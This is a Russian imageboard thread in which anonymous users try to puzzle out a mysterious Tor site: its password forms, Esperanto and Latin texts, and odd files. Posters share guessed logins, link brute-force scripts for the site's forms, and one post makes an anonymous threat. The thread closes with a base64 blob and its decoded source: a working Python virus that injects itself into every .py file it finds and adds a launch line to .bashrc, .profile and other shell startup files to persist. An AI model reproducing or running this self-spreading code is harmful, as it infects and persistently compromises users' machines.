ninoetevzx2irhgj.onion

В прошлом году некий анон вбросил ссылку на странный сайт, находящийся в сети Tor. Данная страничка вызвала определенный интерес среди посетителей /sn/; некоторые материалы сайта показались анонам весьма криповыми.
Помимо прочего, на сайте были найдены страницы, по внешнему виду напоминающие форму входа в админку или в другой раздел сайта, защищенный от посторонних кодовым словом. Получить доступ в указанные разделы до настоящего времени не удалось. Несколько дней назад ссылка на сайт всплыла вновь и некоторые аноны решили заняться этим сайтом вплотную.
Что известно на данный момент:

1. Сайт состоит из набора каталогов и файлов, содержание которых на первый взгляд может показаться рандомным. Помимо "криповых" фото были найдены обои для рабочего стола, вирус написанный на языке Python, книги по разработке для Web'а и даже по магии;
2. На большинство каталогов сайта нет ссылок на его страницах;
3. Некоторые каталоги были найдены методом тыка;
4. Сейчас известно о трех страницах, на которых есть форма для ввода пароля и одной странице, предназначенной для ввода поисковых запросов;
5. На сайте много текста на языке эсперанто (как в исходниках страниц, так и в их содержимом).

Для анализа сайта была собрана команда (самоназвавшаяся TDC) на IRC канале.
Из интересного (но не всего что нашла команда TDC):

Исходный код главной страницы сайта содержит закодированый вирус на языке python.

Не взломанная пока страница с логином: http://ninoetevzx2irhgj.onion/lab/

Вторая страница требующая пароль - https://ninoetevzx2irhgj.onion/lab/ag~1/
(на данный момент подобраны варинты - root:root, admin:admin, oleg:oleg)
В случае ввода admin:admin выдается число. Команда TDC расчитала что это число - количество секунд, которое осталось до 2 января 2016 года. До чего именно ведет отсчет счетчик - остается загадкой.
В случае ввода root:root - выдается текст - la uzanto malebligita provizore

http://ninoetevzx2irhgj.onion/lab/ag~1/0/ - интерфейс поиска по какой-то базе. К сожалению на все запросы выдает один и тот же текст -
"La datumbazo ne estas havebla ĉe la momento. Ne forgesu ke la datumbazo estas havebla nur por trankviligi la domon en momento donita. Bonvolu ne uzi la datumbazon por aliaj celoj. "

http://ninoetevzx2irhgj.onion/lab/ag~1/data - страница выдает набор чисел, который перидически меняется.
Исходный код страницы - "Data: <radio-data> [-4] [275] [6] [1008] [16] [3393] [50] [10857] [156] [33592]</radio-data>"


http://ninoetevzx2irhgj.onion/kuko/ - странная страница с логотипом в форме буквы Н с точками

http://ninoetevzx2irhgj.onion/lab/ag~1/0/nino

http://ninoetevzx2irhgj.onion/files/ - разные файлы, картинки, фото (видимо свалка)

http://ninoetevzx2irhgj.onion/malleus/ - скан старой книги
http://ninoetevzx2irhgj.onion/lab/8/ - криповые фото
http://ninoetevzx2irhgj.onion/kuko/misc/ - еще криповые и не только фото

http://ninoetevzx2irhgj.onion/files/research/l~1/rec-data~p0/res/ - куча .bin файлов с непонятным содержанием.

http://ninoetevzx2irhgj.onion/lab/w/
https://ninoetevzx2irhgj.onion/lab/k/

https://ninoetevzx2irhgj.onion/index.htm
http://ninoetevzx2irhgj.onion/lab/1/p.txt - логины

И это далеко не все, что уже удалось раскопать.

Внимание, анон!
Если хочешь помочь в раскопке данного лукового сайта - внимательно смотри исходный код страниц, во многих из них есть информация которая может помочь.


p.s. Для просмотра сайта из обычного интернета добавляйте после .onion .to, например:
https://ninoetevzx2irhgj.onion.to/

Перевод от гугла этой страницы:
https://ninoetevzx2irhgj.onion.to/kuko/
-------------------------------------------------------
Это наша есть сообщество Нино.
Наша цель - найти их.
Она скрывает от точки зрения безопасности.
Знания о них - со смертельным исходом.
Пожалуйста, следуйте за нами на секретном IRC канале

>>279960
Там еще на одной страничке что то про тихий дом было. ЛОЛ

Jodi уровня /b/

Я добрался до сюда.

>>279954

Вкатываюсь в тред с находочкой -

http://ninoetevzx2irhgj.onion/lab/ag~1/r

Аноны я с вами!

Так-так-так. Тихий дом. Где то я это уже слышал...

>>279984
вкатывайся в ирку к нам

>>279986
пока некогда, позже присоединюсь!

>>279988
ок

>>279986
как это сделать, ну сервер там какой?

>>279990
https://2ch.hk/sn/res/278176.html

Кстати, я тут обнаружил, что в http://ninoetevzx2irhgj.onion/malleus/ на каждой странице есть такая надпись

>>279997
Водяной знак скорее всего означает, что книга - собственность библиотеки Нерцога Августа.

>www.hab.de

КулХуцкирПрограмицкир вкатывается в тред.

>>279997
Сама отсканированная книга называется The Malleus Maleficarum and the Construction of Witchcraft.
Легко гуглится

>>279954
Занятно весьма.
Если набор из 10 чисел закинуть в Excel, тоооо... пик стронгли релейтед.

http://ninoetevzx2irhgj.onion/lab/ эта страница походу вообще беспонтовая. Т.к. после ввода логина он походу отправляется в никуда.

>>280008
Ещё занятна такая картинка.
Возможно притянуто за уши, но вероятно отношение стремится к числу Пи сука сам с себя проигрываю

Кто нибудь пробовал переводить фразы, которые попадаются на страницах?

Nino

Hejmo Aliaj - nia Dio, kaj li estas unu en la reto.

Здесь вроде че то о боге говориться. (пробовал перевод по отдельным словам)

>>280016
В ирке уже давно все перевели. Алсо, гуглотранслейт тебе в помощь. Он может в эсперанто.

>>280016
Откуда фраза?

>>280019
http://ninoetevzx2irhgj.onion/lab/ag~1/0/nino

Кто-нибудь из TDC тут есть? Если да, то го в ирку. Есть инфа.

>>280008
С этим мы разобрались это RDS

>>280024
НУ я из ТДК, го

https://ninoetevzx2irhgj.onion.to/files/research/ag~1/misc/garbage/todelete/tmp6/xxx/

Внутри каталога видео.

>>280029
О да... Видео...

Был еще в прошлом треде, вкатился сюда.
ну что, 1337 и geekq нашли что нибудь?
Мне кажется, не в запороленой странице дело

>>280025
Что есть Rds?

Кстати заинтересовала страница
https://ninoetevzx2irhgj.onion.to/index.htm
Нет, не фотографиями, а именно Nino/Kuko
Никто не пытался выяснить, что это?

Вкатываюсь в тред

Новая находка от TDC -
http://ninoetevzx2irhgj.onion/lab/ag~1/status

>>280043

<trankvila>8249556</trankvila>
не много ли Тихого Дома?

В ожидании вброса от команды, в которую не успел, перевожу всё, что написано. Складывается какое то впечатление, что там имеет место быть религия и тихий дом. Может это как то поможет ?

Hejmo Aliaj - nia Dio, kaj li estas unu en la reto

https://ninoetevzx2irhgj.onion.to/lab/ag~1/0/kuko

какой смысл в таких пустых страницах?

https://ninoetevzx2irhgj.onion.to/lab/ag~1/2/

>вы не имеете доступа к этому уровню

>>280025
Штоу?

Народ! Я вскрыл для вас страницу - /lab/ag~1/
Логин, пароль -

root: ninoetevzx

wbr:// JS

>>280050
Молодец!
>Check /mail/

https://ninoetevzx2irhgj.onion.to/lab/ag~1/mail/

>>280052
Идем в IRC

>>280052
адрес изменен

>>280052
https://ninoetevzx2irhgj.onion.to/lab/ag~1/biblio-trankvila-domo

>>280053
я не дома сейчас, и пишу с чужого пк. Так что в ирку вечером зайду

>>280055
каждый раз новый текст на латыни

>>280057
может это указание на строчки/т.п? Как в библии

https://protonmail.ch/login
begemotik85@protonmail.соm
пароль бы сбрутить

>protonmail
Ты будешь брут травить на квантовое шифрование?

>>280060
квантовое шифрование, всмысле?

>>280055
Выдает каждый раз тексты на латыни типа таких -

adverso eius sunt de transitque -> Они напротив перевала

et tui filii pessima haec -> И ваш сын худшее

in unde redemptionem tuarum vos piaculo -> где вы искупить вашего искупления

in falsum induraverat videret cogitatione ab -> ложь мысль он ожесточился

ни один текст пока не повторялся

>>280061
Что то я ебанулся чутка. +28 за окном. В общем у этого сервиса самый высокий уровень защищенности за счет нового вида шифрования

Не знаю, откуда про квантовое взял. Перегрелся, говорю ж

>>280062
я же говорю. цитаты из Библии\еще откуда-то

>>280063
ахха место для мыла они хорошее нашли)

>>280064


библии которой еще нет в сети? ты погугли - фразы не гуглятся, только отдельные слова

>>280065
ну они либо очень не дураки, либо очень троли. не знаю даже

>>280066
это только догадки, говорю же. а вообще фото окрестностей и такие фразы + комунна совершенно не вяжутся. не так ли?

Меня интересует это:
s/all/~jake/public/foto/browse/year/1972/
IRC-ребята, не пробовали?

>>280069
зайди в irc, туда и пиши https://kiwiirc.com/client #ninetev

>>280067
умные-троли, и такие бывают)
ладно я ушел.

>>280070
благодарю

>>280069
Что примечательно, первый бин датирован 1972 годом

>>280083
Бинарники линуксовые кстати, ну или не все. Тот который мне попался был линуксовым.

>>280084
Нужно ходить вокруг 2007 года, где-то там они поменялись.

Бинарники .bin вроде как совсем не бинарники.
Там в заголовке указано "ACL 2 VER 11"
Прояндексил ACL.
Цитата из вики: "Access Control List или ACL — список контроля доступа, который определяет, кто или что может получать доступ к конкретному объекту, и какие именно операции разрешено или запрещено этому субъекту проводить над объектом.

Списки контроля доступа являются основой систем с избирательным управлением доступа."

Палю контору. Это часть ПГ, нетсталкеры поймут

>>280097
Спали еще раз, я хз что такое ПГ?

>>280043
цифры, которые там выпадают (я переписываю без повторений, но в порядке как они мне выпадали)

41454
108528
67074
13348062
284130
67074
21597618
1203594
1947456
459732
3151050
8249556
5098506
8249556

может кому пригодится.

если известная инфа уже - сорян

>>280097
Если это ПГ, тогда почему контрольное число не бьется с результатом программы?

Что такое пг?

>>280050
при вводе данного логина и пароля выдает "Войти не удалось"

>>280108
вот это вводи -
root: ninoetevzx

все работает

>>280109
все равно не работает...

>>280111

Кривые руки у тебя значит, у всех в irc канале работает

>>280025

ALLO YOBA CHTO TAKOE RDS?

>>280116
Гугли

Все интересное в ирке? Просто хочу следить только, не рыться в этом.

>>280118
да.

но и сюда наверное запостим возможно

>>280118
посты будут. как разберемся

В ирке пусто, где все?

>>280128
А ты как думаешь?

>>280129
спят лол?
рано же

>>280128
куда ты не туда зашел. все в ирке

>>280132
двачую

>>280116
И Что именно из этого ебаного разнообразия?

Ребята, не стоит вскрывать эту тему.

domonis az za dub tdalila $&&$&*

Сегодня распечатка этого треда легла на стол очень важному человеку. Администрация ресурса подконтрольна, потому все ваши данные уже есть. Вам дают несколько дней, после чего делу дадут ход. Подумайте если не о себе, то о ваших близких. Потом будет поздно. Лучше остановитесь и закройте обсуждение.

>>280137
удачи, буду ждать повестку

>>280137
Дай важному человеку почитать пикрелейтед на досуге.

>>280137
Очень важный человек в треде. Никаких распечаток не видел.

Если кому-то пригодиться брут формы - http://lightweightcode.esy.es/sn/brute.txt

Если кому-то пригодиться брут формы (/lab/) - http://lightweightcode.esy.es/sn/brute2.txt

>>280147
а может не надо было скидывать?

>>280151
Почему? Лишние руки тоже нужны

годняк невероятный, посмотрим что из этого выйдет

1 января 16 года начнут выдовать биометрические паспорта в украине.
Зона свободной торговли должна заработать с той же даты.
Вряд ли это связано с той датой, но это то, что нашел на первой странице гугила(помимо религиозных празников).

>>280179
Там вроде до 2 января

>>280180
может стоит сделать поправку на время?

>>280180
или может речи идет не об этих событиях, а о тех, которые они повлекут за собой

>>279985
Состояние души хуже адских мук, насколько я помню

бегемотик, ты здесь?

DFG
Who are you?

>>280179
Могу лишь предположить свою теорию, немного религиозную. Биометрические паспорта связаны с печатью антихриста. Без этой детали его царство не начнется. Так же хочу добавить, что перед его воцарением должна случится война, в которой большая часть населения земли умрет ( привет из /zog )

Однако, скорее всего даная информация никак не связана с тематикой треда. Заранее извиняюсь, господа Аноны.

>>280105
Герой истории последней. Творение творца.

>>280105
Окончив притчу о страданьях, позвольте мне начать рассказ, о мучениках самых главных, о самых главных именах. За каждым словом, каждым вздохом, за каждым мимолётным сном, сокрыты все творения ночи, дары, в которых был рожден, герой истории последний, герой начала и конца, неизмеримое творение. Творение Творца.

Привет, Аноны.

Я анон, который нашел этот сайт в 2014 году. Есть еще кое какие находки, которые вы еще не нашли тут. Я его раскапываю с 2014 года.

Сейчас я не за своим компом - вечером доберусь и выложу в тред свои находки.


На счет почты begemotik85 - на той странице каждые 25 дней появляется другая почта. Эта почта временная, судя по всему там бот, который просит пароль, если пароль зафейлить - бот перестает работать - они меняют ее на другую.

>>280238
лучше в irc

>>280062
Почти уверен, что это перепутанные слова из латинской Библии.
Вам там религиовед нужен?

>>280255
там появляются вперемешку цитаты из нескольких слов и по одному слову, иногда встречаются цифры, вроде:

11:97.24 maxime ante ait domibus ad eius
24:15.23 poterit circumspectis 17:1 fortium a est te et propterea
68:24.11 frumento Dominus et te civitatem qui fluxus munda
45:29.22 vorans meum erit sursum quoque Hierusalem et diligentes

сможешь нагуглить вхождения?

>>280258
Обозначения вида "Марк 11:2" - это ссылки на определённые места в Библии, где "Марк" - обозначение книги (в данном случае, например, Евангелие от Марка), 11 - номер главы, 2 - номер строки в этой главе.
Обозначений вида "11:97.24" в Библии не встречается. Возможно, это указание не просто на строку, а на определённый символ в строке.

Фразы целиком нигде в интернете не присутствуют, однако набор слов с частым упоминанием всяких Абрамов и Иерусалимов, скорее всего, взят именно из Библии (да и типичное обозначение ссылок тоже намекает). Слова по отдельности можно найти в тексте Библии, например, здесь:
https://www.biblegateway.com/quicksearch/?quicksearch=circumspectis&qs_version=VULGATE

>>280260
по отдельности - это не то
если текст написан аноном и загнан в переводчик на латинский, то по фразам заебёшься его восстанавливать
посему не вижу смысла с ним дальше копаться

>>280225
Тенебрис, ты ли это? Или вы, господин Наставник?

Вот ещё один код для подбора от pavo - http://lightweightcode.esy.es/sn/pavo/behemoth_hunter.txt

https://newstarhrtqt6ua7.onion.to/

SO CLOSELY!

>>280238

Еще мы тогда нашли файл -

http://ninoetevzx2irhgj.onion/u.jpg

и логин пароль к http://ninoetevzx2irhgj.onion/lab/ag~1/

anna:anna
и!

nino:kuko

Еще интересно, что пароль nino:kuko работает не всегда, а только в определенные часы. В какие именно - я не знаю.

>>280268
анон мы ждем тебя в ирке

Вкатываюсь к вам, анончики. Скоро закину инфы.

>>280275
Закатывайся в ирку. или хотя бы вбрось чего в тред

>>280268
Kondiĉoj:

1. Neniu devas scii pri Nino.
2. Persono kun alta nivelo de aliro devus neniam helpos persono kun pli malalta nivelo de aliro.
3. Nivelo 10 donas al vi aliron al la deĉifrita Biblio trankvila domo.
4. Ĉiu membro de la 10 nomo Nino.
5. Ĉiu membro de la 10 devas esti persona kopio de la Biblio trankvila domo.
6. Membro kiu atingis la plej altan nivelon iam malaperis el la Interreto.
7. Znaš li gdje je ostatak pravila.

Подписался на тред

http://ninoetevzx2irhgj.onion/ В исходном коде очень криповые пикчи. Как я понимаю с 1972 года

Аноны. Я >>280238
снова в треде. Мой брутер нашел еще один пароль -

operator: ninoetevzx

продолжаю брутить.

>>280288
Пиши в irc блять, не сливай всю инфу сюда. Ты rules.html не читал?

Эбурдяй, чо за обидки блять, давай обратно. неженка хуев

>>280279
Последняя фраза на хорватском. Нам это может что-то дать? Хорваты талантливые ребята.
Карта справа на пике - один из Старших арканов из колоды Уэйта (классической и одной из самых популярных). Карта называется "Сила", её общее значение - "триумф духовной интуиции над грубой силой", настойчивость и т.п.
Слева какая-то православная икона.

>>280302
>Слева какая-то православная икона.
Обосрался

>>280285
пикчи заливать будешь, нет?

>>280306

>>280306

>>280307
сейчас прогоню через прогу, посмотрим что выйдет

>>280310
Я уже у каждой пикчи exif смотрел

>>280312
они в открытом доступе по всему инету напиханы, так что ничего интересного

>>280310
сычов уже в тихом доме с ума сошел а ты все пикчи из первой директории смотришь

>>280313
Обычно в 12 в месте X

надеюсь разберёшься

>>280288
Когда ввёл твой пароль, выдало следующее:
"Bonvenon al la reĝo.
Aliro estas limigita en tempo. Reiru al la difinita tempo."
Согласно гугл переводчику, на эсперанто это означает:
"Добро пожаловать к царю .
Доступ ограничен во времени. Вернуться к заданного времени."
Вообще непонятно, что это всё значит. Я временно получил какие-то права? Непонятно.

Нашёл папку с огромным количеством обычных, некрипотных пикч. Тут вам и животные, и даже агент Смит.
И дохуя анимешных картинок, что меня опечалило. Ели раньше создатель этого сайта рисоался мне каким-то таинственным парнем, то теперь ясно видно, что он анимевыблядок.

>>280338
Бля, ссылку-то на папку прикрепить забыл.
https://ninoetevzx2irhgj.onion.to/files/research/ag~1/misc/garbage/todelete/pix/

>>280338
А ещё там есть старые порнофлешки.

>>280340
Этот сайт вообще местами напоминает что-то непонятное и дипвебовское (лол), а иногда отдаёт обычным файлохранилищем среднестатического анона.

Займу место в тихом доме тому, кто расшифрует это http://pastebin.com/VN8j6wPN

>>280342
Можете не ебатся, уже все расшифровали.

inviz_кун

>>280342
там написано
Es iam prope. Exspectare recte respondetur (хххххх.хх)

Ты уже близок. В ожидании правильного ответа (ххххххх.хх)

[spiler]закрыл иксами потому что идите нахуй[/spoiler]

Нашел в исходнике

>>279954
Ха-ха!
Всё это похоже на грандиозный троллинг для мракодрочеров. Вас развели, деточки. Разуйте глаза и не корчите лавкрафтовщины из говна.

>>280417
Укатывайся

>>280288

Если туда зайти по этому логину в коде страницы хэш. Это походу еще один луковый сайт -

http://ninoetwewdoqlwky.onion/

>>280425
Спасибо, что сливаешь инфу. Умри от рака, пидор

>>280472
Esto, что опять ты психуешь? Это не слив, это люди не из чата сами доступ обнаружили

>>280472
Какая разница ?
Они там кроме 404 всё равно найти не чего не смогут эти нубасы.

CmltcG9ydCB0aHJlYWRpbmcKaW1wb3J0IHJhbmRvbSwgdGltZSwgc3lzLCBzdHJpbmcsIGluc3BlY3QsIHJlCmltcG9ydCBvcywgdHJhY2ViYWNrCgpjbGFzcyBWaXJpaSgpOgoKICAgIGRlZiBpbmZlY3Qoc2VsZiwgcGF0aCk6CiAgICAgICAgaW1wb3J0IG9zLCBzdHJpbmcKICAgICAgICAjcHJpbnQgIlRyeSB0byBpbmZlY3Q6ICVzIiAlIHBhdGgKICAgICAgICAjaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAjICAgIHByaW50ICJQcm9jZXNzaW5nOiAlcyIgJSBwYXRoCiAgICAgICAgbmwgPSBvcy5saW5lc2VwCiAgICAgICAgbGV0dGVycyA9IHN0cmluZy5sZXR0ZXJzCiAgICAgICAgaWYgb3MucGF0aC5nZXRzaXplKHBhdGgpID4gMTAwMDAwMDA6CiAgICAgICAgICAgIHJldHVybiBGYWxzZSAjIFNraXAgbGFyZ2UgZmlsZXMKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgpCiAgICAgICAgICAgIGZpbGVfY29udGVudCA9IGYucmVhZCgpCiAgICAgICAgICAgIGYuc2VlaygwKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgcmV0dXJuIEZhbHNlCiAgICAgICAgaWYgInB5dGhvbi12eCIgaW4gZmlsZV9jb250ZW50OgogICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgcHJpbnQgIkFscmVhZHkgaW5mZWN0ZWQ6ICVzIiAlIHBhdGgKICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgIHJldHVybiBGYWxzZQogICAgICAgIGZpbGVfY29udGVudCA9ICIiCiAgICAgICAgZGF0YSA9ICIiCiAgICAgICAgaSA9IDAKICAgICAgICBpbmZlY3RlZCA9IEZhbHNlCiAgICAgICAgI3ByaW50IGYKICAgICAgICBmLmZsdXNoKCkKICAgICAgICBvbGRfbGluZSwgb2xkX2xpbmUyID0gIiIsICIiCiAgICAgICAgZm9yIGwgaW4gZjoKICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgIGlmIGk+MjAgYW5kIG5vdCBpbmZlY3RlZDoKICAgICAgICAgICAgICAgIGlmIChsWzBdIGluIGxldHRlcnMgYW5kICJ0cnkiIG5vdCBpbiBvbGRfbGluZTIpIGFuZCBvbGRfbGluZVswXSA9PSAiICIgb3Igb2xkX2xpbmVbMF0gPT0gIiMiOgogICAgICAgICAgICAgICAgICAgIGRhdGEgPSBkYXRhICsgbmwrc2VsZi5teXNlbGYrbmwKICAgICAgICAgICAgICAgICAgICBpbmZlY3RlZCA9IFRydWUKICAgICAgICAgICAgZGF0YSA9IGRhdGEgKyBsCiAgICAgICAgICAgIG9sZF9saW5lMiA9IG9sZF9saW5lCiAgICAgICAgICAgIG9sZF9saW5lID0gbAogICAgICAgIGYuY2xvc2UoKQogICAgICAgIGlmIGluZmVjdGVkOgogICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICBmID0gb3BlbihwYXRoLCAidysiKQogICAgICAgICAgICAgICAgZi53cml0ZShkYXRhKQogICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50ICIlcyBJbmZlY3RlZCEiICUgcGF0aAogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKICAgICAgICAgICAgICAgIHJldHVybiBGYWxzZQoKICAgIGRlZiB3YWxrKHNlbGYsIHBhdGgpOgogICAgICAgIGltcG9ydCBvcwogICAgICAgIGZvciByb290LCBkaXJzLCBmaWxlcyBpbiBvcy53YWxrKHBhdGgpOgogICAgICAgICAgICBmb3IgZCBpbiBkaXJzOgogICAgICAgICAgICAgICAgaWYgbm90IGRbMF09PSIuIjoKICAgICAgICAgICAgICAgICAgICBmdWxsX2RpciA9IG9zLnBhdGguam9pbihyb290LCBkKQogICAgICAgICAgICAgICAgICAgIHNlbGYud2FsayhmdWxsX2RpcikKICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGZvciBmIGluIGZpbGVzOgogICAgICAgICAgICAgICAgcGF0aCA9IG9zLnBhdGguam9pbihyb290LCBmKQogICAgICAgICAgICAgICAgaWYgbm90IGYuZW5kc3dpdGgoIi5weSIpOgogICAgICAgICAgICAgICAgICAgIHBhc3MKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIlNraXBwIiwgcGF0aAogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAjcHJpbnQgIkluZmVjdCIsIHBhdGgKICAgICAgICAgICAgICAgICAgICBzZWxmLmluZmVjdChwYXRoKQogICAgZGVmIGFkZF9tZShzZWxmLCBwYXRoKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGYgPSBvcGVuKHBhdGgsICdhJykKICAgICAgICAgICAgZi53cml0ZShjaHIoMTApKyJweXRob24gfi90bXA4LnB5ICYgIitjaHIoMTApKQogICAgICAgICAgICBmLmNsb3NlKCkKICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgIGlmIHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwcmludCAiQ2FuJ3Qgd3JpdGUgdG8gJXMgZmlsZSIgJSBiYXNocmMKICAgICAgICAgICAgICAgIHByaW50IHRyYWNlYmFjay5mb3JtYXRfZXhjKCkKCiAgICBkZWYgcnVuKHNlbGYpOgogICAgICAgIGltcG9ydCB0aHJlYWRpbmcsIGluc3BlY3QsIHN5cywgb3MKICAgICAgICBzZWxmLmRlYnVnID0gRmFsc2UKICAgICAgICBpZiBzZWxmLmRlYnVnOgogICAgICAgICAgICBwcmludCAiVGhyZWFkczoiLCB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCkKICAgICAgICBpZiB0aHJlYWRpbmcuYWN0aXZlX2NvdW50KCk+MjoKICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgIHByaW50ICJUb28gbWFueSB0aHJlYWRzIgogICAgICAgICAgICByZXR1cm4gRmFsc2UKICAgICAgICBzZWxmLm15c2VsZiA9ICBpbnNwZWN0LmdldHNvdXJjZShEKStvcy5saW5lc2VwICsgaW5zcGVjdC5nZXRzb3VyY2UoYV9hKStvcy5saW5lc2VwKyJhX2EoKSIKICAgICAgICAjcHJpbnQgc2VsZi5teXNlbGYKICAgICAgICBzZWxmLndhbGsoIi4iKQogICAgICAgIGlmIG9zLm5hbWUgPT0gInBvc2l4IiBhbmQgc2VsZi5kZWJ1ZyA9PSBGYWxzZToKICAgICAgICAgICAgYmFzaHJjID0gIiVzLy5iYXNocmMiICUgb3MuZW52aXJvblsnSE9NRSddCiAgICAgICAgICAgIHRtcCA9ICAiJXMvdG1wOC5weSIgJSBvcy5lbnZpcm9uWydIT01FJ10KICAgICAgICAgICAgaWYgb3MucGF0aC5leGlzdHModG1wKSBhbmQgbm90IHNlbGYuZGVidWc6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgZiA9IG9wZW4odG1wLCAndysnKQogICAgICAgICAgICAgICAgICAgIGYud3JpdGUoc2VsZi5teXNlbGYpCiAgICAgICAgICAgICAgICAgICAgZi5jbG9zZSgpCiAgICAgICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICAgICAgaWYgc2VsZi5kZWJ1ZzoKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgIkNhbid0IGNyZWF0ZSB0bXAucHkgZmlsZSIKICAgICAgICAgICAgICAgICAgICAgICAgcHJpbnQgdHJhY2ViYWNrLmZvcm1hdF9leGMoKQogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZShiYXNocmMpCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy54c2Vzc2lvbiIgJSBvcy5lbnZpcm9uWydIT01FJ10pCiAgICAgICAgICAgICAgICAgICAgc2VsZi5hZGRfbWUoIiVzLy5wcm9maWxlIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmtzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnpzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLmNzaHJjIiAlIG9zLmVudmlyb25bJ0hPTUUnXSkKICAgICAgICAgICAgICAgICAgICBzZWxmLmFkZF9tZSgiJXMvLnhpbml0cmMiICUgb3MuZW52aXJvblsnSE9NRSddKQp0ID0gVmlyaWkoKQp0LnJ1bigpIAo=


import threading
import random, time, sys, string, inspect, re
import os, traceback

class Virii():

def infect(self, path):
import os, string
#print "Try to infect: %s" % path
#if self.debug:
# print "Processing: %s" % path
nl = os.linesep
letters = string.letters
if os.path.getsize(path) > 10000000:
return False # Skip large files
try:
f = open(path)
file_content = f.read()
f.seek(0)
except:
if self.debug:
print traceback.format_exc()
return False
if "python-vx" in file_content:
if self.debug:
print "Already infected: %s" % path
f.close()
return False
file_content = ""
data = ""
i = 0
infected = False
#print f
f.flush()
old_line, old_line2 = "", ""
for l in f:
i += 1
if i>20 and not infected:
if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
data = data + nl+self.myself+nl
infected = True
data = data + l
old_line2 = old_line
old_line = l
f.close()
if infected:
try:
f = open(path, "w+")
f.write(data)
f.close()
if self.debug:
print "%s Infected!" % path
except:
if self.debug:
print traceback.format_exc()
return False

def walk(self, path):
import os
for root, dirs, files in os.walk(path):
for d in dirs:
if not d[0]==".":
full_dir = os.path.join(root, d)
self.walk(full_dir)
pass
for f in files:
path = os.path.join(root, f)
if not f.endswith(".py"):
pass
#print "Skipp", path
else:
#print "Infect", path
self.infect(path)
def add_me(self, path):
try:
f = open(path, 'a')
f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
f.close()
except:
if self.debug:
print "Can't write to %s file" % bashrc
print traceback.format_exc()

def run(self):
import threading, inspect, sys, os
self.debug = False
if self.debug:
print "Threads:", threading.active_count()
if threading.active_count()>2:
if self.debug:
print "Too many threads"
return False
self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
#print self.myself
self.walk(".")
if os.name == "posix" and self.debug == False:
bashrc = "%s/.bashrc" % os.environ['HOME']
tmp = "%s/tmp8.py" % os.environ['HOME']
if os.path.exists(tmp) and not self.debug:
pass
else:
try:
f = open(tmp, 'w+')
f.write(self.myself)
f.close()
except:
if self.debug:
print "Can't create tmp.py file"
print traceback.format_exc()
else:
self.add_me(bashrc)
self.add_me("%s/.xsession" % os.environ['HOME'])
self.add_me("%s/.profile" % os.environ['HOME'])
self.add_me("%s/.kshrc" % os.environ['HOME'])
self.add_me("%s/.zshrc" % os.environ['HOME'])
self.add_me("%s/.cshrc" % os.environ['HOME'])
self.add_me("%s/.xinitrc" % os.environ['HOME'])
t = Virii()
t.run()

